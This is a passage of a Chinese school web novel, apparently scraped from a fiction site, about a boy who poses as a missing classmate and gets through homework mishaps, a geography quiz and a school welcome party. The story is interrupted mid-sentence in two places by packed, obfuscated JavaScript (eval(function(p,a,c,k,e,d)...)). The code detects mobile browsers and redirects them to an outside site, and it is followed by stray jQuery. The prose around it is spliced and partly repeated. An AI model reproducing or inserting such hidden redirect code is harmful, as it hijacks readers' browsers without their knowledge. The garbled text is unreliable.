汤振的眼神骤然一震,一阵凉意顺着脊椎爬了上来。他终于想起来,上午大课间的时候,和别人聊着天,顺手把地理老师让他发给全班的作业塞进了自己的书包里。 现在,这些作业都被汤振背回了家。 “我服了,”汤振一巴掌拍在额头上。 于浩宁皱了皱眉,“又怎么了嘛?” 汤振僵硬地转身,像拿着易燃易爆物一样,把那沓A4纸缓缓举了起来。 两秒钟的沉默后,卧室里传出一声低吼: “啊——你第一天当地理课代表,就把全班的地理作业带回家了!” “我的错,我的错,快赶紧想想补救办法!”汤振将作业放在了于浩宁的书桌上。 “发学校论坛里呗。”于浩宁不紧不慢地说道。 “好多人压根儿没手机。”汤振板着脸道。 于浩宁思索片刻,“我们班有四十多个人,对吧?” “所以……咱要挨个打电话告诉他们题目吗?” “也不是不行,”于浩宁眼神明亮起来,“班主任有文件登记了所有家长的电话号码,我们拜托班主任给我们念一遍。然后把全班分成几组,我俩先给十个人打电话读题目,我打五个,你打五个,再让他们给另外一组的五个人读题目……这样一层一层分下来,要不了多久就能让全班知道题目。” 汤振又问道:“挨个记录全班家长的电话太麻烦了吧?直接让老师拍一张家长电话号码的照片发学校论坛里呗,再把贴子设置为指定我俩可见。” “我可不想让班主任知道我玩手机,更不想让她知道我的论坛账号。”于浩宁翻了个白眼。 “就说我们是用家长的手机号注册的一个新账号呗!”汤振催促道。 “好吧好吧……”于浩宁只得悻悻地给班主任打了电话,说清了缘由。 接下来的一个小时,卧室里彻底变成了“客服中心”。 “喂,您好,蒋朋的妈妈吗?哦,我是汤……于浩磊。今天地理作业是……” “喂,您好,我是……” “第三题是……” “听得清楚吗,是这样的……” “对,姜岩,你真聪明!就是这样,你再给这五个人打电话,然后让他们再……” 虽然分别只给五个人打了电话,但时间还是花了差不多一个小时,已经晚上10点了,汤振不知道这样分发下去的任务执行完毕需要等到几点钟,总之自己的任务算是完成了。 等两人做完题,已是晚上10点半,更别提其他同学了。 汤振拿起桌上的水杯猛灌了一大口,长长地吐出一口气。 于浩宁看着汤振满头大汗的样子,忍俊不禁,两人终于能好好睡个觉了。 “其实,”于浩宁的手指无意识地抠着书桌边缘,“今天中午我一个人吃饭的时候想了想,当初是我求着你来伪装身份帮我的。” 汤振微微一怔,点了点头,“呃……嗯。” “所以我不应该强求你完全按照我的方式做事,活得像个提线木偶。”于浩宁接着说道。 汤振把空水杯轻放在了桌上,捏了捏鼻尖,道:“好了好了,酸不拉唧的。既然咱俩是合伙人,就得互相兜底。我帮你把人设立住,你帮我搞定这些函数、太阳系和加速度,扯平了。” 于浩宁疲惫地一笑,将桌上的那一沓A4纸还给了汤振,“喏,拿回去,现在我看着这个作业就烦!” 时近午夜,街道上的车辆和行人越来越少,空中的星光似乎又亮了许多,于浩宁家里卧室的灯光也在这个时候熄灭了。 9月3日早晨。 在去学校的路上,汤振脑子里回荡的似乎都还是昨晚打电话的声音,于浩宁一脸没睡醒的样子,无精打采地走在汤振右边。 教室的门被推开,一丝轻微的凉意随之吹入教室。 这是开学以来的第二节地理课,气氛仿佛比昨天更僵硬。 地理老师双手撑在讲台上,目光如炬地盯着坐在前排的汤振。 全班同学的课桌上,整整齐齐地摆放着A4纸、草稿纸和从练习本上撕下来作业纸,上面密密麻麻写着答案。 “于浩磊!”老师声音冷冷道:“你真是给了我一个巨大的惊喜!我教这么年书,见过不写作业的,见过抄作业的,但我还是第一次见到,第一天当课代表,就把全班作业打包带回家的!” 全班想笑又不敢笑,只看得到每个人的肩膀都一耸一耸的。 汤振从座位上站了起来,背挺得笔直,极其熟练地鞠了一躬,“老师,这事全怪我。昨天拿到试卷后,我满脑子都在思考您课上讲的太阳系运行规律,一不留神就把它当成自己的课本塞包里了。我昨晚挨个打电话通知了全班同学,保证没有一个人不知道作业!” “哈哈哈……”全班终于忍不住,排山倒海般爆发出笑声。 “都给我安静,闭嘴!” 老师怒吼一声,把教棍敲得咚咚响,刚想继续发火,突然: “——所以,我们千万不要做一个抠门的人,因为经常抠门,门会坏掉……” 这个声音,毫无征兆地从地理老师的扩音器里传了出来,在安静的教室里简直像是一颗手榴弹。 老师整个人吓得猛地后退了一步,腰间的扩音器还在疯狂震动: “——现在,大家跟我一起摇摆起来,一起摇摆,一起摇摆!” 全场鸦雀无声,所有人都惊恐地瞪大了眼睛。 一秒钟后,教室里爆发出了比刚才还要夸张的狂笑声,有人笑得直不起腰,直拍桌子。 老师手忙脚乱地关掉扩音器的电源,整张脸“唰”地涨成了猪肝色,整张脸扭曲得游戏里的大Boss。 “谁?!”老师一声狮吼:“是谁偷偷玩手机?蓝牙连到我的扩音器上面了!” 汤振强忍着笑意,敏锐的余光却捕捉到了右手边的一个细微动作。 跟自己隔着一个过道的丁航,正满头大汗地将双手藏在课桌抽屉里,慌乱地做着什么动作,抽屉里还隐隐约约发出一阵微光。 汤振挑了挑眉,身体微微向右倒,用只有两人能听见的声音道:“昨天还说我呢,你不也偷偷带到学校来吗?” 丁航的身体猛地一僵,转过头死死地瞪了一眼汤振,咬牙切齿地抿了抿嘴唇,随后便调整好了坐姿,仿佛什么也没发生过。 讲台上,地理老师气急败坏地走了几个来回,“都不承认是吧?学校规定不能搜身,好,你们长能耐了!” 老师猛地转过身,拿起粉笔在黑板上重重地敲了两下。 “既然你们精力这么旺盛,那我们先不上课了,现在就开始随机抽查!谁要是回答不上来,就准备受罚吧,昨天的课文抄三遍!” 说完,老师深吸了一口气,平复了一下情绪,指了指讲桌旁边,“于浩磊,你上来帮老师把投影仪调出来。” “好嘞,老师。 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就在这时,老师走下了讲台,刚好停在汤振的课桌旁,瞥了一眼汤振翻开的书。 “吔,于浩磊,你这书怎么比脸还干净?” 老师本就在气头上,说话更是字字清晰:“那就从你这个课代表开始抽查,站起来,今天可别给我扯什么湿木头点不着火的废话!你回答一下,太阳辐射的能量来源是什么?” 汤振余光瞥了一眼神色平静的丁航,又看了看表情严肃的老师。 “太阳内部核聚变。”汤振从容地答道。 “地球什么时候到达近日点?” “每年一月。” “什么是行星?” “通常指自身不发光、一般环绕恒星公转且能依靠自身引力清空轨道的球状天体。” “恒星是什么?” “是由高温等离子体构成的天体,其核心通过氢核聚变反应持续释放能量,以电磁辐射形式向外辐射光和热。” 地理老师严肃的表情慢慢放松了下来,最后变成了欣慰。 汤振答完,冲老师露出了一个人畜无害的微笑。 教室里一片安静。 老师轻轻抬手拍了拍汤振的肩膀,“这还差不多,这才是我前两年听说过的那个学霸嘛!还以为你失踪一年知识都忘光了,看来底子还在。” 汤振的笑意逐渐收了起来,随后目光看向了右边的丁航。 汤振平静地开口道:“谢谢老师,从现在起,我一定认真记笔记,毕竟好记性不如烂笔头嘛。我应该向丁航同学学习,他的书上密密麻麻全是标记和重点,连边角都写满了。他记了这么多笔记,肯定什么都知道,他是我学习的榜样。” 丁航平静的神色瞬间露出了一丝慌乱。 老师顺着汤振的手指看了过去,果然看到丁航的桌上摊着一本写满批注的地理书。 “哦,是吗?”老师推了推鼻梁上的眼镜,夸赞道:“确实做得不错,那丁航来回答下一个问题,你说说地球自转的线速度和角速度规律!” 丁航眼睛瞪得老大,慢慢吞吞地站了起来: “呃,线速度……是指经线和纬线的……” “一派胡言!” 老师刚整理好的表情又乱了起来,“笔记做得那么好看,脑子里装的全是浆糊,你,把第一节课的内容抄三遍!” “啊,老师,我……”丁航意欲解释。 “别找借口了,”老师打断丁航道:“晚自习把抄好的交给我。好了,同学们,我们接着上课!” 汤振没有和丁航把书换回来,一整节课都在丁航的书上认认真真写着笔记。 “叮铃铃——” 下课铃响后,丁航像霜打的茄子一样半卧在了座位上。 于浩宁凑到汤振耳边,“记性果然很好,不过你的书是怎么回事?” 汤振冷哼了一声,伸出手,隔着过道将自己的地理书抽了回来,同时把写满了第二课笔记的书递到了丁航的耳边。 “喏,还给你,我好心帮你记了这节课的笔记,你回去之后认真复习一下吧,”汤振笑道。 丁航咬着牙,一把将自己的地理书拿了回去,压低声音道:“你别得意,你还是小心你的手机别被老师发现吧!” “那你也小心点,”汤振双手抱臂坐在座位上,语气舒坦:“昨天我用手机订餐,今天你用蓝牙连老师的扩音器,咱俩手里都有对方的把柄,你爱怎么着就怎么着吧!” 丁航看着汤振似笑非笑的眼睛,喉结上下动了一下,不再说话,起身出了教室。 课间操的铃声也响了起来,大家陆陆续续地出了教室,脸上都挂着一丝不情愿的表情。 这时,地理老师也收拾完了教具,从讲台上走了下来。 “于浩磊,跟我来一下办公室。” 汤振立刻收起戾气,乖乖跟着老师来到了走廊上。 地理老师揉了揉眉心,“现在正好是大课间,有30分钟,你把大家交上来的作业拿去我桌子上放着吧。” “好的老师,没问题。” 地理老师将教具和作业递给汤振,尴尬地笑道:“我先去个洗手间。你先去我的办公室,把我抽屉里那堆已经改好的开学考试卷子拿出来,然后拿去综合教研办公室交给陈老师,她正在统计分数,进去的时候记得喊报告啊,这会儿好多老师都在里面。” “陈老师?”汤振惊道。 “对,就是你高一时候的地理老师,她现在在带高三,要拿那堆卷子去统分,你赶紧拿去给她。” 说完,地理老师一阵小跑,走向了走廊尽头的洗手间。 汤振独自呆站在走廊上,任由其余同学一个个从身边经过。 穿堂风吹在汤振身上,只觉后背一阵寒冷。 陈老师长啥样?自己根本不认识。 汤振脑子里一片空白:不管那么多了,先去了再说! 深吸了一口气,汤振硬着头皮朝走廊那边走了过去。 10. 教导主任 广播体操的音□□过走廊的扩音喇叭响彻校园。 “一二三四,二二三四……” 汤振已经把全班的作业放到了地理老师的桌子上,又在抽屉里找到了改好的试卷,此刻已经拿着那沓试卷,来到了综合教研办公室门口。 汤振深吸一口气,在校服上蹭了蹭手心的汗,用拿着试卷的手推开了办公室门。 空调的冷风扑面而来。 虽是初秋,但浥鸣县仍十分炎热,充满冷气的办公室内坐满了老师,四个年级的开学考试刚结束,所有老师都忙着统计分数。 汤振的视线环视办公室一周,心脏猛地漏跳了一拍。 只见靠窗的办公桌前,教导主任站得笔直,手里端着一个还在冒热气的咖啡杯,正盯着眼前的一个老师统计分数,那身笔挺的职业套装,在满员的办公室里也散发出一种生人勿近的气场。 “冤家路窄。”汤振在心里暗暗吐槽道。 听到推门声,教导主任微微抬起头,目光直直地刺在汤振身上。 “报告。”汤振后知后觉地喊道,但办公室的其他老师都忙着统分,没人注意到他。 “不用做操吗?”教导主任平静地问道。 汤振立刻垂下眼眸,换了乖巧的优等生面孔,“主任好,我来把改好的试卷交给陈老师统计分数。” 喊完“陈老师”三个字后,汤振立刻环视了一圈办公室:竟没有一个老师看向自己,都在认真地盯着屏幕统分,这要如何得知谁是陈老师? 教导主任低低“哦”了一声,重新将目光投回电脑屏幕上,继续指导着老师统计分数,但汤振总觉得教导主任眼角的余光依然锁定在自己身上,仿佛一台随时准备报警的测谎仪。 汤振抱着卷子,双脚却像是被钉在了原地。 整个办公室里坐满了老师,有短发的,有长发的,有年轻的,有年老的,有正戴着耳机敲电脑的,还有背对着他看不清面容的。 “愣着干什么,”教导主任催促道:“连教了你一年的老师都不认识了吗?” 汤振只觉得脊背都被教导主任的目光压着,他迅速观察着每一张办公桌: 一位短发老师的桌上堆满了红色封面的《作文全解》,应该是语文老师,排除。 一位长发老师的桌上放着地球仪,但办公桌上摆的地理书封面跟自己的书一样,应该也是高一的地理老师,排除。 最后,汤振的视线落在了那个正心无旁骛地写着备课笔记的女老师桌上。 在一堆试卷旁,放着一本极其显眼的紫色封面教材。 汤振的瞳孔顿时入神,开学第一天的记忆瞬间闪回:下午搬书时,在高三年级的教材堆里,见过这种紫色封面的书,那是高三地理总复习的教材。 只能确定她是高三的地理老师,但不确定是不是陈老师。 汤振实在没了办法,只能赌一把,他毫不犹豫地迈开步子,径直走到那位背对着他的女老师身旁。 汤振调整了一下呼吸,用一种熟稔又不失恭敬的语气开口道:“老师您好,打扰一下,这是您要的卷子。” 女老师停下笔,抬起头,推了推鼻梁上的深红色框架眼镜,当她看到汤振时,脸上立刻露出了夸张笑容。 “哎呀,浩磊!”女老师熟络地接过卷子,“前两天忙着监考,没见着你,你怎么样,身体恢复得还好吧?” 真是陈老师,还好赌对了!汤振紧绷的神经骤然放松了下来。 “我挺好的,陈老师,让您担心了。”汤振礼貌地答道。 “回来就好,把基础重新打牢,你的地理底子好,别浪费了,”陈老师拍了拍汤振的胳膊,指了指卷子,“行,你先回去吧,我得赶紧把这儿的分数统计了。” “好的,老师。” 汤振转过身,余光瞥向教导主任,那个笔直的身影已经重新把注意力放在了电脑上,并没有发现任何异常。 走出办公室,关上门的瞬间,汤振长长地吐出一口气,但又忍不住想:自己是不是过于小心了?或许即使没认出陈老师,也不会被人怀疑自己的身份呢? 当然,汤振并不敢这样轻易冒险,心里想想,便也罢了。 沿着走廊往教室走时,广播里的课间操音乐刚好结束。 “喂,喂,喂?” 一阵刺耳的电流声响起,广播里传出副校长严肃的声音: “现在播报一则通报批评,在昨天举办的校级作文大赛选拔赛中,高三年级参赛者伍泓违背诚信原则,盗用他人未完成的手稿参赛;高三语文组罗老师,未能以身作则,涉嫌协助学生违规。以上行为,严重违背了我校校训和学生守则……” 操场、走廊、教室的广播皆响了起来,还有几个广播信号有些延迟,副校长的声音快一拍慢一拍地回荡在整个校园中。 汤振停下了脚步,静静听完了通报。 “……经校委会研究决定,取消其本学年所有评优及奖学金资格。给予罗老师全校通报批评,扣除本年度所有绩效奖金,且暂停其所有教学任务。” 走廊前方,刚做完课间操回来的学生们并没有急着回教室,而是像沸腾的开水一样,一群人挤在公告栏前。 汤振双手插在兜里,混在人群外围,竖起了耳朵。 “伍泓这回栽了,听说他昨天下午还请假回家了……” “但是我觉得他很冤呀,听说是罗老师让他用的别人的作文……” “对对对!听说那个被抄袭的人失踪了一年,结果前天回来了……” “他们说罗老师本来这学期要评职称的,这下也泡汤了……” 这时,一个女生指着公告栏惊呼道:“伍泓的一等奖学金被撤下来了,换成了年级第二申雅丽,跟他是同一个班的呢……” 听到这话,汤振连忙穿过人群,目光落在公告栏那张刚贴上去的名单上,“申雅丽”三个字清清楚楚地印在“一等奖学金”下方。 回想着刚才的通报批评,看着眼前的名单,汤振心里却是五味杂陈,其实,自己昨天上午冲进博学厅的时候,也未曾料到这样的后果。 但是,这跟自己这个“学渣”又有什么关系呢?汤振扯了扯嘴角,转身朝着教室走去。 不过几个小时,汤振便迅速将这件事抛在脑后。 夜幕降临,秋日的夜风仍带着一丝暖意,随着晚自习的预备铃响起,校园里的追逐欢笑声渐渐消失。 汤振吃完晚饭后,独自一人在操场散着步,回想着开学这三天发生的每一件事,突如其来的晚自习预备铃将他的思绪拉了回来,他连忙奔向博学楼一楼的自动贩卖机,准备买两瓶冰镇可乐,一瓶给自己,一瓶给于浩宁。 汤振挑了最右边的一台自动贩卖机,这台贩卖机颜色非常特殊,品牌也是汤振从未见过的。 汤振将钱投了进去,但贩卖机半天没有动静。 眼看操场上的人几乎都回了教室,汤振便放弃了投进去的“巨款”,另外选了一台自动贩卖机,这次正常掉下来了两瓶冰镇可乐。 汤振拿起可乐就往教学楼奔去,从侧边楼梯进入了教学楼。 此时,走廊尽头教导主任的大办公室还亮着灯,门半掩着,露出两根手指宽的缝隙。 汤振本想快速经过,但在走过那道门缝时,他却鬼使神差地停下了脚步。 从汤振所站的角度窥探进去,刚好能看到教导主任的侧脸。 教导主任此刻正颓然地坐在办公桌前,手里似乎捏着一张合照。 借着台灯昏黄的光线,汤振清晰地看到,教导主任平时锐利如刀的眼睛里盈盈然泛着泪光,眼泪好像随时会滴落下来。 汤振心里突然“咯噔”一下,竟忘了往教室赶去。 突然,教导主任又像触电般猛地将手里的东西塞进了一本书中,她深吸了一口气,拿起湿巾在脸上擦拭了一番。 随后,教导主任抓起桌上的座机听筒,用食指重重地按下了一串电话号码。 过了片刻,一阵熟悉的严厉从办公室里传出:“喂,你好,是后勤保障部吗?” 汤振立刻后退半步,将身体死死贴在墙壁的转角处,不敢大喘气,静静地听着教导主任的声音传出: “是这样的,9月15号的迎新晚会,所有的节目单我刚看过了。你们通知一下所有班级,取消一切带有危险隐患的表演环节。高二4班好像有魔术表演对吧?我看了一下彩排记录,好像要用到明火,把这个环节砍掉,否则就换节目。还有,初二3班好像有一个舞台剧要爬到很高的地方,而且没有安全措施,让他们想办法加安全绳,要么就换掉……” 汤振望了望走廊两头,空无一人,每个教室都安静地上着晚自习,只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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汤振把身子往前凑了凑,压低了声音:“哎,你们刚才看到教导主任巡视了吧,有没有发现她眼睛有点红?” 蒋朋的眼睛看向左上方,似是回忆了一阵,吐槽道:“走廊上灯光太暗,你看错了吧?她那双眼睛,最擅长的就是扫描谁在开小差,哪天她眼里射出激光我都不觉得奇怪。” 汤振没有理会蒋朋的玩笑,眼神渐渐变得深邃,继续讲道:“我刚才路过她办公室,看到她好像盯着一张合照……在哭。” “嘘——”蒋朋望了望周围,“你小声点儿。” “这不太可能吧,”于浩宁满脸写着不可思议,“认识教导主任三天了,还没见过她换表情呢。” “我没看错,反正信不信随你们吧,”汤振的目光盯着黑板右侧的课程表,又继续说道:“哦,再跟你们说件事儿……” 汤振刚“呲”一声拧开瓶盖,正准备继续说,但教室的广播却突然响了起来,打断了汤振的话。 全班同学瞬间抬起了头,面面相觑,广播里开始发话: “现在播报一则后勤保障部通知,应学校要求,9月15日的迎新晚会,取消一切有安全隐患的环节,所有需要使用明火的节目,一律修改或取消,所有需要攀爬到高处的节目,全部都需要加上安全绳,否则取消该节目,所有……” 讨论的声音在教室里此起彼伏,有人抱怨,有人看热闹。 汤振左手抓着于浩宁的肩膀,右手拍着蒋朋的后背,激动道:“你们快听,我刚才想说的就是这个事儿!” 全班同学开始激烈地议论,还能听到教学楼里的其他班级也变得人声鼎沸,教室里、教室外传出各种喊声。 一时间,所有同学的情绪都不再平静,校园里的晚自习似乎演奏成了一场交响乐。 “……希望要表演节目的同学,尽量在一周内调整好节目内容。以上就是本次通知的所有内容,请同学们继续上晚自习。” 一阵电流声后,广播里终于安静了下来,但教室里的议论声仍然持续着。 于浩宁满脸疑惑,“怎么这么突然,这让人家怎么改节目呀?” “我也不知道,”汤振扯了扯嘴角,“今天的晚自习可能都比这次的迎新晚会好看。” “安静!”班长的声音压制住了全班的浮躁。 班上的同学慢慢安静了下来,其他班级的吵闹声也逐渐停止,校园里又恢复了宁静,像是刚才什么也没发生过一样。 这晚回家后,汤振躺在床上,翻来覆去睡不着。 开学才三天,就好像发生了很多事情,让汤振脑海里一团乱麻,一个接一个的记忆碎片从他眼前闪过,又消失,他只觉得好累,一时间分不清自己是醒着还是睡着,只感觉自己徜徉在一个又一个的梦中。 11. 晚会与烦心事 转眼,开学已经半个月。 9月15日的晨光透过薄薄的窗帘缝隙,照到正准备出门的于浩宁身上。 卧室的镜子前,于浩宁正对着镜子整理校服领子,而后便抬起手,拿着剪刀,从自己头上剪下两三根头发,又硬生生拔下了一根带有毛囊的头发。 于浩宁面无表情地走到汤振床前,将那几根头发揉搓了几下,轻轻放在了枕头上。 汤振靠在墙上看着这一切,安心地笑道:“这样即使你妈妈心血来潮,拿头发去做亲子鉴定,也鉴定不出什么问题。” 做完这些,于浩宁叮嘱道:“这根有毛囊的头发保留好,每天睡觉之前收起来,早上醒了再拿出来放枕头上。我可不想每天都拔一根带毛囊的头发下来,好疼。” 随后,两人在客厅匆匆吃完早餐,正准备出门,许艺岚又从厨房拿出一个精致的透明密封袋,里面装着刚烤好的黄油饼干。 “浩磊,浩宁,带去学校吃吧,课间饿了的话也能垫垫肚子。”许艺岚挥了挥手中的饼干,一阵香味轻轻飘过汤振的鼻尖。 于浩宁却眼疾手快地挡住了母亲的手,“妈,不用了。上周学校又加了新的校规,教室里除了白开水,任何饮料和零食都不准出现。我可不想我哥刚复学,就又去走廊罚站。” 许艺岚愣了一下,无奈地叹了口气,“你们现在怎么管得这么严格……行吧,那你们中午多吃点,放学后早点回来。” “今晚有迎新晚会,可能会晚一点。”于浩宁一边换鞋一边拉开门答道,拉着汤振快步走了出去。 浥鸣县的天气开始转凉,但有时,校园里仍会吹来几缕温热的海风。 一大早,校园的空气中似乎就弥漫着一种罕见的躁动。 两人刚走进校门,就看到操场上已经拉起了各式各样的横幅,后勤部的工人正在搭建临时舞台,几个搬着音响的学生累得满头大汗,嘴里似乎还在骂骂咧咧。 浥鸣二中每年通常有两次晚会,九月的迎新晚会只有初二和高二负责出节目,主要是为了欢迎刚入学的初一和高一新生,初三和高三不用出节目,因为忙着准备毕业考试。等到六月的毕业晚会,则会让初一、初二、高一和高二四个年级一起上。 “看来今天的迎新晚会确实很无聊。”汤振看着操场说道,操场上零零散散的工作人员忙上忙下,却没准备什么道具。 “慢慢习惯吧,那天广播说了,一切为安全着想。”于浩宁劝道。 “那还不如做两套卷子……”汤振抱怨道。 白天在一片讨论声中过去。 夜晚,围墙外的探照灯把夜空下的操场照得亮如白昼。 晚会终于开始了。 学生们按照班级方阵,一脸不情愿地搬着椅子,陆陆续续来到了操场的草坪上,几只蚊虫顶着初秋的夜风,在探照灯的光影里悠然飞舞。 汤振坐在高一3班的方阵边缘,正百无聊赖地看着台上不知所云的朗诵表演。 “于浩磊。” 申雅丽的声音从前方传来,她套着一件米白色的针织衫,搬着椅子,朝汤振班级的方阵走过来。 “你们不是高三么,怎么坐这儿来了?”汤振往旁边挪了挪,给申雅丽让出一点空间。 “我们几个班坐操场中间,说是给高三年级的优待。” 申雅丽话音刚落,一个路过的男生突然停下脚步,一脸兴奋地打招呼: “雅丽学姐好!你去年在迎新晚会上跳的民族舞简直太好看了!有人说你当时的眼神特别深情,大家都好奇你是不是专门给某个人跳的,我们全班都是你的粉丝!” 申雅丽脸色微红,下意识地看了看旁边,连忙摆手赶人,“好啦好啦,都高二了,认真学习,别整天八卦别人。” 那男生不好意思地笑了两声,赶紧拿着椅子走去自己班级了。 汤振有些不自在地笑了笑,做作地叹了口气,“太可惜了,我去年在做苦力,没能看到你的经典表演。” 申雅丽不好意思地笑了笑,放好椅子,坐了下来,和汤振隔着一个窄窄的过道。 操场渐渐安静了下来,每个班级基本都已到齐。 申雅丽岔开了话题,“哎呀,都是去年的事了……哦,对了,你还是计划以后考平州大学吗?每年在我们市只录取五个人呢,所以你不能只跟浥鸣县的人比,要和整个市里的人比。像今年,咱们学校的高语婕,考了全市第三才被平州大学录取。” 平州大学虽然在全国数一数二,但汤振连平州大学的校门朝哪边开都不知道,就更别提什么高考计划了。 汤振随手拔起地上的一根草茎在手上缠绕着,眼神飘向远处的夜空,用一种沧桑语气说道:“谁知道呢?经历这一年后,我很多想法都变了,现在我也不知道以后该去哪儿……” “不管你去哪,你肯定都是最优秀的,”申雅丽的声音轻了下来,随即话锋一转,语气里带着几分真诚的感激:“其实我很想感谢你,要不是你当场拆穿了伍泓,这次的一等奖学金怎么也轮不到我。” 申雅丽顿了顿,又自嘲似的笑道:“还记得吗?高一的一等奖学金几乎都是你拿的,我老是排在你和伍泓后面。这次,伍泓的奖学金被取消,我算是捡了个漏,拿到了这学期的一等奖学金。” “这叫物归原主,本来就是你应得的。”汤振的语气里带着鼓励。 “还有罗老师的事,”申雅丽深吸了一口气,“我知道你不是为了我才去拆穿他们的,你是看不惯抄袭,但也算是间接帮我出了一口气。你知道的,我议论文写得特别差,每次都被罗老师当众批评得一无是处,她从不鼓励我,不指导我,更别说选我去参加作文大赛。” 申雅丽将目光从台上的灯光移到汤振的脸上,接着说道:“罗老师以为你失踪了一年,多半不会再回来了,你去年发给她的那份初稿写得太好,扔了可惜,为了给自己评职称,就直接把你的心血拿给伍泓用了。结果现在,她被全校通报批评,还被停了职。所以呀,假的成不了真的。” 汤振看着申雅丽眼中闪烁的明亮,慢慢点头道:“嗯,说得对,偷来的东西,总有一天会被发现。” 说完,汤振沉默良久,两人说的是同一件事,汤振心里却总想到别的事,想到自己的身份,似乎也和偷东西别无二致。 “这学期第一次月考之后我请你吃饭吧,就当是感谢。”申雅丽继续道。 汤振颔首,“到时候再说吧……喏,还是继续看表演吧。” 说完,汤振伸手指了指舞台。 坐在汤振前面的蒋朋回过头道:“听说这就是那个要用到明火的节目,不知道现在改成什么样子了。” 舞台上放着一个铁笼,铁笼里有一个塑料做的蓝色钻石。铁笼周围贴满了三角形硬卡纸,涂着橙色和黄色,像是静止的火焰。铁笼外,站着一个打扮成中世纪吸血鬼的男生。男生的手放在胸口的位置,拿着一个手电筒,往自己脸上照去,并疯狂摇晃手电筒,嘴里用极为夸张的语气喊道: “啊!好烫!这铁笼燃烧的火焰正在吞噬我!这火焰的光芒照得我好难受!” 一边喊,一边把手里的手电筒晃得更厉害了。 喊完,那男生故作疼痛的样子,往后一跳,夸张地摔倒在了地面上,嘴里仍叨叨地念着台词。 台下的学生先是一片安静,随后响起一阵阵低沉的声音,不断有人喝倒彩。 “这什么破节目?”姜岩在一旁低声附和。 汤振轻轻用手肘推了推姜岩,提醒道:“嘘——你不怕教导主任碰巧巡视到咱们班哦?” 接下来的表演是一个话剧,中途是两个高手比武。正当其中一个表演者从剑鞘里抽出一支长条物的时候,大家没有见到预料之中的利剑,而是一块长条形的泡沫板,更因为表演者太过用力,那泡沫板直接断成了两半。 到了最后的杂技表演环节,原本惊险刺激的多人“叠叠乐”,因为教导主任说有摔伤风险,被改成了十几个男生坐在舞台上围成一圈,手拉着手,齐唱《我们是相爱的一家人》。 “这什么台词朗读节目?”于浩宁抬手遮住正在打哈欠的嘴。 观众席怨声载道,各个班级已经开始“自由活动”,聊天的聊天,打闹的打闹。 “这种节目到底是怎么被选上的?” “还不都是因为教导主任,突然说要重视安全,大家准备了半个暑假的节目突然就被改了。” “其实每年迎新晚会的节目都是上学期期末就已经选好的,选的时候肯定还是好看的。” 两名同学低声议论道。 大家的吐槽声越来越大,完全没注意到班主任什么时候走到了方阵后面。 见到班主任走了过来,汤振几人立刻停止了抱怨,连忙伸着脖子,目光炯炯地看向舞台。 班主任一手拿着瓜子,一手挥了挥,皱眉道:“行了行了,都小声点,到时候被教导主任听见了,你们倒是没事儿,我可是要被批评的……你们以为我愿意看手电筒烤吸血鬼啊?” 全班同学面面相觑,随后便忍俊不禁,气氛顿时轻松了不少。 班主任翻了个白眼,把瓜子壳扔进垃圾袋里,“我比你们大不了几岁,别把我想得太死板好吗?” 方阵里传出一阵压抑的低笑,原本沉闷的空气逐渐活跃了起来。 汤振嘴角也忍不住上扬,拿出手里的零食,光明正大地往嘴里送了一块。 晚会无惊无险地结束,教导主任上台发表了总结,表示自己对这种安全的改动十分满意,“希望从这学期开始,大家都要时时刻刻注意安全!另外就是,从下周开始,学校旁边会开一道门,开车的老师和工作人员以后都从那道门进入学校车库,尽量和学生避开……” 教导主任说完话,这学期的迎新晚会就算是结束了,操场上再次热闹了起来,大家拿着椅子,整齐有序地朝教学楼走去。 9月20日早晨。 汤振和于浩宁像往常一样,早早出了家门。 高一3班的教室里热闹非凡,补作业的、读课文的、背单词的,各有千秋。 丁航大摇大摆地从后门走进教室,手里拿着一盒精品纯牛奶,径直走到第一排,把牛奶“啪”地一声立在了班长的课桌上。 班长此时正忙着把马尾辫盘起来,朝丁航斜了一眼,“干嘛?” “给你买的早饭,”丁航双手插兜,“补充营养。” 班长扎好头发,从书包里抽出昨天的作业,不耐烦地把牛奶移到桌子边缘,“拿走拿走,我已经吃过早饭了。而且你忘了吗,上上周的新规定,教室里只能喝水。” “这是牛奶,补充营养,凭什么不能喝?”丁航梗着脖子反驳。 “你能不能把心思放在学习上,”班长抬头道:“马上就要第一次月考了,你准备得很充分吗,还有心情在这儿送牛奶?” 说完,班长抓起那盒牛奶,不容拒绝地塞回丁航手里,“拿回去。” 丁航的脸涨成了猪肝色,死活不肯接。 就在班长和丁航你推我让的时候,汤振和于浩宁刚好拎着书包从前门走进教室。 班长满脸写着不耐烦,汤振又恰巧路过,班长便顺手把牛奶塞给了汤振。 “丁航送的牛奶,你喝吧。”班长的语气放缓了许多。 汤振看上去还没睡醒的样子,手里突然多了盒牛奶,更是一脸懵,只好接了一句:“谢谢啊。” 话音刚落,丁航猛地伸手过来,又将牛奶从汤振手里夺了回去。 “送给他?那我还是留着自己喝吧!”丁航脸色愠怒,拿着牛奶回到了自己的位置上。 汤振耸了耸肩,瞌睡也清醒了不少,一脸懒得计较的表情,朝自己的座位走去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575464|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 早读快结束时,往往是收作业的时间。 汤振从书包里掏出作业,站起身,盯着右手边的丁航,“交地理作业了。” 丁航冷着脸,拿出了练习册。 汤振将丁航的练习册放在最上面,丁航却又把练习册从中间的位置插了进去,刚好和班长的练习册挨在了一起。 汤振一脸无奈地转过头,留下一句“幼不幼稚”,便把作业收走了。 两分钟后,班长也开始按小组收语文作业。 收到了丁航这里,丁航在书包里翻找了半天,最后脸色难看地挤出一句:“我……我昨晚写了,忘带了。” 汤振刚收完地理作业路过,听到这句话,立刻起哄道:“没带就是没写。” 丁航用无声的嘴型骂了汤振一句。 汤振正要交语文作业时,突然脸色一僵:自己也忘带了! 班长看着脸色僵硬的汤振,不由得问道: “你也忘带了吗,于浩磊?”班长推了推眼镜。 